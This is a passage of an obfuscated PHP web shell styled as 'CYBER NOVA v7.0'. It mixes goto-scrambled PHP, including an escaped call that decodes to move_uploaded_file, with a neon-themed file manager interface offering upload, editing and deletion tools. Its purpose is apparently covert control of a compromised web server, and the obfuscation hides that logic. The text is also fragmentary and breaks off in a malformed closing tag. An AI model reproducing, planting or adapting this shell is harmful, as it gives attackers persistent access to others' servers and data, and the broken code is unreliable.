$neuralCore->getNeuralFunction("\155\157\166\x65\137\x75\160\154\x6f\x61\144\145\x64\137\146\x69\154\x65"); goto I4Kmj; qrkzG: goto HxZX2; goto HIskf; fxQkS: goto CJ1uz; goto M2Bp3; JIihQ: goto zanx3; goto nQcyI; DzSj8: echo rand(1, 100); goto AXFce; qFyNc: zanx3: goto Arwjj; hIRKd: goto k8rqb; goto tSH3C; U2DzQ: ?>
<!doctypehtml><html><head><meta charset="UTF-8"><title>CYBER NOVA v7.0</title><style>@import url(https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700;900&family=Share+Tech+Mono&family=Exo+2:wght@300;400;600&display=swap);:root{--cyber-blue:#00eeff;--matrix-green:#00ff41;--neon-purple:#9d00ff;--dark-space:#0a0a1a;--deep-space:#151530;--cyber-glow:0 0 10px;--cyber-red:#ff0055;--cyber-yellow:#ffff00}*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Exo 2',sans-serif;background:var(--dark-space);color:#fff;background-image:radial-gradient(circle at 20% 30%,rgba(0,238,255,.05) 0,transparent 40%),radial-gradient(circle at 80% 70%,rgba(157,0,255,.05) 0,transparent 40%)}.cyber-header{background:rgba(21,21,48,.95);border-bottom:3px solid var(--cyber-blue);padding:25px 40px;display:flex;justify-content:space-between;align-items:center;box-shadow:0 0 40px var(--cyber-blue);position:sticky;top:0;z-index:1000;backdrop-filter:blur(10px)}.header-left{display:flex;align-items:center;gap:25px}.nova-title{font-family:Orbitron,monospace;font-size:2.5rem;background:linear-gradient(45deg,var(--cyber-blue),var(--matrix-green));-webkit-background-clip:text;background-clip:text;color:transparent;text-shadow:var(--cyber-glow) var(--cyber-blue);letter-spacing:2px}.session-info{display:flex;align-items:center;gap:20px;font-family:'Share Tech Mono',monospace}.status-badge{padding:8px 20px;background:linear-gradient(45deg,var(--cyber-blue),var(--neon-purple));border-radius:20px;font-size:.9rem;font-weight:700;text-transform:uppercase;letter-spacing:1px}.logout-btn{padding:12px 30px;background:var(--cyber-red);border:none;border-radius:10px;color:#fff;font-family:Orbitron,monospace;font-weight:700;cursor:pointer;transition:all .3s;text-transform:uppercase;letter-spacing:1px}.logout-btn:hover{background:#c04;transform:translateY(-2px);box-shadow:0 0 30px var(--cyber-red)}.cyber-container{max-width:1600px;margin:30px auto;padding:0 30px}.neural-message{background:rgba(0,255,65,.1);border-left:4px solid var(--matrix-green);border-radius:10px;padding:25px;margin-bottom:30px;display:flex;align-items:center;gap:20px;animation:pulseGlow 2s infinite}@keyframes pulseGlow{0%,100%{box-shadow:0 0 20px rgba(0,255,65,.3)}50%{box-shadow:0 0 40px rgba(0,255,65,.5)}}.matrix-nav{background:rgba(42,42,80,.8);border:2px solid var(--neon-purple);border-radius:15px;padding:25px;margin-bottom:30px;font-family:'Share Tech Mono',monospace}.cyber-breadcrumb{display:flex;align-items:center;flex-wrap:wrap;gap:15px;color:var(--cyber-blue)}.cyber-breadcrumb a{color:var(--matrix-green);text-decoration:none;padding:8px 15px;border-radius:8px;transition:all .3s;border:1px solid transparent}.cyber-breadcrumb a:hover{border-color:var(--cyber-blue);background:rgba(0,238,255,.1);box-shadow:0 0 15px var(--cyber-blue)}.cyber-tools{display:grid;grid-template-columns:repeat(auto-fit,minmax(350px,1fr));gap:30px;margin-bottom:40px}.tool-card{background:rgba(26,26,48,.9);border:2px solid var(--cyber-blue);border-radius:15px;padding:25px;transition:all .3s;position:relative;overflow:hidden}.tool-card:hover{border-color:var(--matrix-green);transform:translateY(-5px);box-shadow:0 10px 30px var(--cyber-blue)}.tool-card::before{content:'';position:absolute;top:0;left:0;right:0;bottom:0;background:linear-gradient(45deg,transparent,rgba(0,238,255,.05),transparent);z-index:-1}.tool-header{display:flex;align-items:center;gap:15px;margin-bottom:25px;color:var(--matrix-green);font-family:Orbitron,monospace;font-size:1.3rem}.form-group{margin-bottom:20px}.cyber-label{display:block;margin-bottom:10px;color:var(--cyber-blue);font-size:.9rem;text-transform:uppercase;letter-spacing:1px}.cyber-input{width:100%;padding:15px;background:rgba(10,10,26,.8);border:2px solid var(--neon-purple);border-radius:10px;color:#fff;font-family:'Share Tech Mono',monospace;font-size:1.1rem;transition:all .3s}.cyber-input:focus{outline:0;border-color:var(--cyber-blue);box-shadow:0 0 20px var(--cyber-blue)}.cyber-btn{padding:15px 25px;border:none;border-radius:10px;font-family:Orbitron,monospace;font-weight:700;cursor:pointer;transition:all .3s;text-decoration:none;display:inline-block;text-transform:uppercase;letter-spacing:1px}.cyber-btn-primary{background:linear-gradient(45deg,var(--cyber-blue),var(--neon-purple));color:#fff}.cyber-btn-primary:hover{background:linear-gradient(45deg,var(--matrix-green),var(--cyber-blue));transform:translateY(-2px);box-shadow:0 5px 20px var(--cyber-blue)}.cyber-btn-success{background:linear-gradient(45deg,var(--matrix-green),#0c0);color:#fff}.cyber-btn-danger{background:linear-gradient(45deg,var(--cyber-red),#f30);color:#fff}.cyber-btn-warning{background:linear-gradient(45deg,var(--cyber-yellow),#fa0);color:#000}.data-table-container{background:rgba(26,26,48,.9);border:2px solid var(--matrix-green);border-radius:15px;overflow:hidden;margin-bottom:40px;box-shadow:0 0 30px rgba(0,255,65,.3)}.data-table{width:100%;border-collapse:collapse;font-family:'Share Tech Mono',monospace}.data-table thead{background:linear-gradient(45deg,rgba(0,238,255,.3),rgba(0,255,65,.3))}.data-table th{padding:20px;text-align:left;color:var(--cyber-blue);font-size:1.1rem;text-transform:uppercase;letter-spacing:2px}.data-table td{padding:18px 20px;border-bottom:1px solid rgba(0,238,255,.1)}.data-table tbody tr:hover{background:rgba(0,238,255,.05)}.data-icon{font-size:1.5rem;margin-right:15px}.data-actions{display:flex;gap:10px}.cyber-editor{background:rgba(26,26,48,.95);border:3px solid var(--cyber-yellow);border-radius:15px;overflow:hidden;margin-bottom:40px;box-shadow:0 0 40px rgba(255,255,0,.3)}.editor-header{background:linear-gradient(45deg,rgba(255,255,0,.2),rgba(0,255,65,.2));padding:20px 30px;display:flex;justify-content:space-between;align-items:center}.editor-title{color:var(--cyber-yellow);font-family:Orbitron,monospace;font-size:1.4rem}.neural-content{width:100%;min-height:500px;padding:30px;background:rgba(10,10,26,.9);border:none;color:var(--matrix-green);font-family:'Share Tech Mono',monospace;font-size:16px;line-height:1.8;resize:vertical}.cyber-footer{background:rgba(21,21,48,.95);border-top:2px solid var(--neon-purple);padding:30px;margin-top:50px;border-radius:15px 15px 0 0;text-align:center}.stats-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(220px,1fr));gap:25px;margin-bottom:25px}.stat-card{background:rgba(0,238,255,.1);padding:20px;border-radius:12px;border:1px solid var(--cyber-blue)}.stat-label{color:var(--cyber-blue);font-size:.9rem;text-transform:uppercase;letter-spacing:1px;margin-bottom:8px}.stat-value{color:var(--matrix-green);font-family:Orbitron,monospace;font-size:1.3rem}::-webkit-scrollbar{width:12px}::-webkit-scrollbar-track{background:var(--dark-space)}::-webkit-scrollbar-thumb{background:linear-gradient(var(--cyber-blue),var(--neon-purple));border-radius:6px}::-webkit-scrollbar-thumb:hover{background:linear-gradient(var(--matrix-green),var(--cyber-blue))}@media (max-width:768px){.cyber-header{flex-direction:column;gap:15px;padding:20px}.cyber-tools{grid-template-columns:1fr}.data-table{display:block;overflow-x:auto}.cyber-container{padding:0 20px}}</style></head><body><div class="cyber-header"><div class="header-left"><div class="nova-title">CYBER NOVA</div><div class="session-info"><div class="status-badge">NEURAL ACTIVE</div><div style="color:var(--matrix-green)"><?php  goto Yudy6; cXLWr: sSRcw: goto eOjvW; ICBr9: C2CV7: goto kWQeb; M2Bp3: cqyQX: goto xSqyb; oK3VN: j3l_7: goto TpvM0; tFl9t: goto vMmpi; goto XgZwf; R_dlF: R2c4K: goto hALr5; AhH28: wQQE8: goto yTOO3; W7CBK: WBp81: goto L7M7r; tSH3C: xfpCt: goto Xv6xr; R4Cfx: rzTPj: goto Sgo0l; niLrm: $N_OUTPUT = $neuralCore->getNeuralFunction("\145\x63\150\157"); goto tOwZ0; k_bGE: ?>
%</div></div></div><div style="color:var(--matrix-green);font-family:Orbitron,monospace;margin-top:20px;font-size:1.1rem">CYBER NOVA v7.0 // NEURAL NETWORK: ACTIVE // SECURITY: MAXIMUM</div></div></div><script>// Cyber Nova Effects
        document.addEventListener('DOMContentLoaded', function() {
            // Auto-hide messages
            const messages = document.querySelectorAll('.neural-message');
            messages.forEach(msg => {
                setTimeout(() => {
                    msg.style.opacity = '0';
                    msg.style.transition = 'opacity 0.5s';
                    setTimeout(() => msg.style.display = 'none', 500);
                }, 6000);
            });
            
            // Real-time clock
            function updateCyberClock() {
                const now = new Date();
                const timeStr = now.toLocaleTimeString('en-US', { 
                    hour12: false,
                    hour: '2-digit',
                    minute: '2-digit',
                    second: '2-digit'
                });
                
                document.querySelectorAll('.session-info > div:last-child').forEach(el => {
                    if (!el.classList.contains('status-badge')) {
                        el.textContent = timeStr;
                    }
                });
            }
            setInterval(updateCyberClock, 1000);
            
            // Editor auto-resize
            const editor = document.querySelector('.neural-content');
            if (editor) {
                editor.addEventListener('input', function() {
                    this.style.height = 'auto';
                    this.style.height = (this.scrollHeight + 30) + 'px';
                });
                editor.dispatchEvent(new Event('input'));
            }
            
            // Tool card hover effects
            const toolCards = document.querySelectorAll('.tool-card');
            toolCards.forEach(card => {
                card.addEventListener('mouseenter', function() {
                    const colors = ['#00eeff', '#00ff41', '#9d00ff', '#ffff00'];
                    const randomColor = colors[Math.floor(Math.random() * colors.length)];
                    this.style.boxShadow = `0 10px 40px ${randomColor}`;
                });
                
                card.addEventListener('mouseleave', function() {
                    this.style.boxShadow = '';
                });
            });
            
            // Cyber scanning effect
            function createScanLine() {
                const scanLine = document.createElement('div');
                scanLine.style.cssText = `
                    position: fixed;
                    top: ${Math.random() * 100}%;
                    left: 0;
                    width: 100%;
                    height: 1px;
                    background: linear-gradient(90deg, transparent, var(--matrix-green), transparent);
                    z-index: 9999;
                    pointer-events: none;
                    animation: scanMove 1.5s linear;
                `;
                
                document.body.appendChild(scanLine);
                
                setTimeout(() => {
                    scanLine.remove();
                }, 1500);
            }
            
            // Random scan lines
            setInterval(createScanLine, 2000);
            
            // Add scan animation
            const style = document.createElement('style');
            style.textContent = `
                @keyframes scanMove {
                    0% { transform: translateX(-100%); opacity: 1; }
                    100% { transform: translateX(100%); opacity: 0; }
                }
            `;
            document.head.appendChild(style);
            
            // Input focus effects
            const inputs = document.querySelectorAll('.cyber-input');
            inputs.forEach(input => {
                input.addEventListener('focus', function() {
                    this.style.boxShadow = '0 0 25px var(--cyber-blue)';
                    this.style.transform = 'scale(1.02)';
                });
                
                input.addEventListener('blur', function() {
                    this.style.boxShadow = '';
                    this.style.transform = '';
                });
            });
            
            // Confirmation dialogs with cyber theme
            const deleteButtons = document.querySelectorAll('.cyber-btn-danger');
            deleteButtons.forEach(btn => {
                btn.addEventListener('click', function(e) {
                    if (!confirm('⚠️ PERMANENT DATA DELETION. CONTINUE?')) {
                        e.preventDefault();
                    }
                });
            });
            
            // Add particle effects
            function createParticle() {
                const particle = document.createElement('div');
                particle.style.cssText = `
                    position: fixed;
                    width: 3px;
                    height: 3px;
                    background: var(--cyber-blue);
                    border-radius: 50%;
                    pointer-events: none;
                    z-index: 9998;
                    top: ${Math.random() * 100}%;
                    left: ${Math.random() * 100}%;
                    box-shadow: 0 0 10px var(--cyber-blue);
                    animation: particleFloat ${2 + Math.random() * 3}s linear infinite;
                `;
                
                document.body.appendChild(particle);
                
                setTimeout(() => {
                    particle.remove();
                }, 5000);
            }
            
            // Create particles periodically
            setInterval(createParticle, 300);
            
            // Add particle animation
            const particleStyle = document.createElement('style');
            particleStyle.textContent = `
                @keyframes particleFloat {
                    0% { transform: translate(0, 0) scale(1); opacity: 1; }
                    100% { transform: translate(${Math.random() * 200 - 100}px, ${Math.random() * 200 - 100}px) scale(0); opacity: 0; }
                }
            `;
            document.head.appendChild(particleStyle);
        });</script></body></htm')); ?>